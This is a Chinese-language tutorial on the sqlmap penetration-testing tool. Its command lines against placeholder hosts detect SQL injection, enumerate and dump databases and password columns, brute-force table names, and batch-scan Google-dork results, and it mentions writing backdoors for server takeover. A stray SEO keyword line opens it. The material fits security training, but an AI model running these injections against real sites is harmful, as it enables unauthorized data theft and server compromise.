提供企业网站建设公司,2022年五月份热点事件,wordpress播放器插件,wordpress 资源文件一、sqlmap简介
sqlmap是一个开源的渗透测试工具#xff0c;可以自动检测和利用SQL注入漏洞以及接管数据库服务器的过程。
官网#xff1a;
sqlmap.org
核心功能
漏洞检测漏洞利用
学习关键点
基于sqlmap进行sql注入漏洞的检测#xff0c;注入利用和攻击基于sqlmap进…一、sqlmap简介
sqlmap是一个开源的渗透测试工具可以自动检测和利用SQL注入漏洞以及接管数据库服务器的过程。
官网
sqlmap.org
核心功能
漏洞检测漏洞利用
学习关键点
基于sqlmap进行sql注入漏洞的检测注入利用和攻击基于sqlmap进行高权限情况下的文件读写基于sqlmap进行高权限情况下的联合msf实现远程主机上线
sqlmap支持的数据库类型 MySQLOraclePostgreSQLMicrosoft SQL ServerMicrosoft AccessIBM DB2 SQLiteFirebirdMySQLSAP MaxDBInformixMariaDBMemSQLTiDB CockroachDBHSQLDBH2MonetDBApache DerbyAmazon RedshiftVertica MckoiPrestoAltibaseMimerSQLCrateDBGreenplumDrizzleApache Apache Apache XeriteCubridInterSystems CacheIRISeXtremeDBFrontBaseRaima Database ManagerYugabyteDBClickHouse和Virtuoso数据库管理系统。 主要是支持关系型数据库不支持NoSQL 支持六种SQL注入技术
基于布尔的盲注基于时间的盲注基于错误的盲注基于UNION查询堆栈查询带外查询
sqlmap支持数据库直连
通过提供DBMS凭证、IP地址、端口和数据库名称支持直接连接到数据库而无需通过SQL注入DBMS DB databaseMManagementSSystem像mysql、oracle都是数据库管理系统
sqlmap的特性
自动识别密码哈希格式并支持使用基于字典的攻击来破解他们【暴力破解】
sqlmap的代理功能
通过设置代理可以实现控制发包评率防止速度太快被加入黑名单在代理中可以加载一些脚本通过脚本可以实现对某个例如预编码以此来绕过服务端的一些防注入机制例如绕过敏感字符过滤
二、使用sqlmap的流程
第一步判断目标网站是否存在漏洞和数据库类型【mysql、oracle、db2....】
第二步判断用户权限类型【检测是否为高权限用户】 如果为高权限用户那么不需要再进行数据库猜解因为可以直接进行读写操作也就是可以直接写入后门程序通过程序可以直接获取目标主机的控制权 注意不是说高权限用户就一定可以进行写操作 第三步找库名
第四步找表名
第五步找字段
第六步找数据
注意进行sql注入的核心目的 目的1获取数据 目的2获取服务器的控制权 注意 用sqlmap进行注入的时候有可能结果是不准确的例如扫描发现没有漏洞 或者 本来是管理员权限但是扫描结果提示是普通权限 如果出现这种情况就需要手动调整注入参数或者进行手工注入 三、sqlmap的常用参数
3.1 sqlmap对指定目标进行检测
方法1-u 目url 格式sqlmap -u http://www.php001.com/index.php?id1 注意这种方式进行测试的时候服务端收到的客户端信息 (UA refer ip) 都是客户端自己的 补充sqlmap -u 网址 得到的信息包括 结束以后会得到该网站的数据库、操作系统、服务器等版本信息 如果存在漏洞可以使用以下命令注出当前网站下所有的数据库名 sqlmap -u 网址 --dbs 注出指定数据库下的所有库名
sqlmap -u 网址 -D 数据库名 --tables 注出指定数据库指定表下所有列信息
sqlmap -u 网址 -D 数据库名 -T 表名 --columns 注出所有指定字段名
sqlmap -u 网址 -D 数据库名 -T 表名 -C 列名 --dump 显示数据在任意环节使用--dumps可以将所有数据注出如指定数据库使用注出所有数据库下的所有表的所有字段信息
方法2-r 从文本文件中读取HTTP请求作为sql注入探测的目标
格式:sqlmap -r test.txt(bp导出请求的数据文件)
使用场景:
1. 某些网站的页面必须先登录才能进行测试那么就必须通过本方法这是因为在请求数据包当中有当初登录网站时候的cookie\session信息
2. 某些网站限制客户端的来源: 来源域名、来源ip、这种情况下进行注入也需要通过这种读取数据包的方式进行
指定数据包注入从文件读取HTTP请求GET和POST都可以可以用-p传入注入的参数
sqlmap -r burp.txt -p username # -p 指定存在注入的参数 这里的txt文件就是完整的http请求包 可以使用 -p 指定参数也可以在txt文件中使用*星号定位 方法3-m从多行文本格式文件读取多个目标对多个目标进行探测
格式:sqlmap -m test.txt(自写的url)
方法4-l 从Burpsuite proxy或WebScarab proxy中读取http请求日志文件
格式: sqlmap -l test(bp导出文件)
方法5-x 从sitemap.xml站点地图文件中读取目标探测。
方法6-C 从配置文件sqlmap.conf中读取目标探测
sqlmap 结合 google 搜索特定url进行批量扫描注入这里需要利用google hack语法进行扫描
案例sqlmap -g inurl:\.php?id1\
sqlmap设置http请求方法 --methodget | post 案例1:基于post方式发送请求
sqlmap -u http://www.php001.com/index.php --dataid1案例2:基于get方式发送请求
sqlmap -u http://www.php001.ocm/index.php?id1
sqlmap设置cookie头 --cookie --cookie-del --load-cookies --drop-sel-cookie 3.2 注入案例
1. GET 参数注入
sqlmap -u http://www.php001.com/index.php?id1
2. POST 参数注入
sqlmap -u http://www.php001.com/index.php --dataid1
3. cookie 注入level2时才会检测cookie
sqlmap -u http://www.php001.com/index.php?id1 --level 24. user-agent注入
sqlmap -u http://www.php001.com/index.php?id1 --level 3
5. referer注入
sqlmap -u http://www.php001.com/index.php?id1 --level 3
6. host注入
sqlmap -u http://www.php001.com/index.php?id1 --level 5
7. 延时注入
当防火墙对请求速度做了限制在每个HTTP请求之间延迟10秒
sqlmap -u http://www.php001.com/index.php?id1 --delay10
8. 伪静态注入
sqpmap -u http://victim.com/id/666*.html --dbs # 在html扩展名前加个*
3.3 获取数据库信息
1. 查看数据库
sqlmap -u http://www.php001.com/index.php?id1 --dbs --batch
参数
--dbs: 显示所有的数据库的库名
--batch: 避免用户交互
2. 查看数据库里面的表
sqlmap -u http://www.php001.com/index.php?id1 --D security --tables --batch
参数:
--D security: 指定查看这个 库中的所有表
--tables: 指定显示表名
--batch: 避免用户交互
3. 查看数据库表里面的列/字段
sqlmap -u http://www.php001.com/index.php?id1 --D security --T users --columns --batch
参数:
--D security: 指定查看这个 库中的表
--T users: 指定查看user表中的所有的字段名
--columns: 显示表中的字段名
--batch: 避免用户交互
4. 查看数据库列里面的具体的值
sqlmap -u http://www.php001.com/index.php?id1 --D security --T users -C password --dump --batch
参数
--D security: 指定查看这个库中的表
--T users: 指定查看user表中的所以的字段名
-C password: 显示 password 字段中的数据
--dump: 显示数据
--batch: 避免用户交互
3.4 暴力破解
使用条件/背景 1. MySQL数据库版本小于5.0没有information_schema表 2. Microsoft Access数据库 3. 当前用户没有权限读取系统中保存的数据 暴力破解中破解表名的文件位于common-tables.txt 中同理破解列名的文件位于common-columns.txt 中 1. 暴力破解表名
sqlmap -u http://www.php001.com/index.php?id1 -D security --common-tables --batch2. 暴力破解列名
sqlmap -u http://www.php001.com/index.php?id1 -D security -T users --common-columns --batch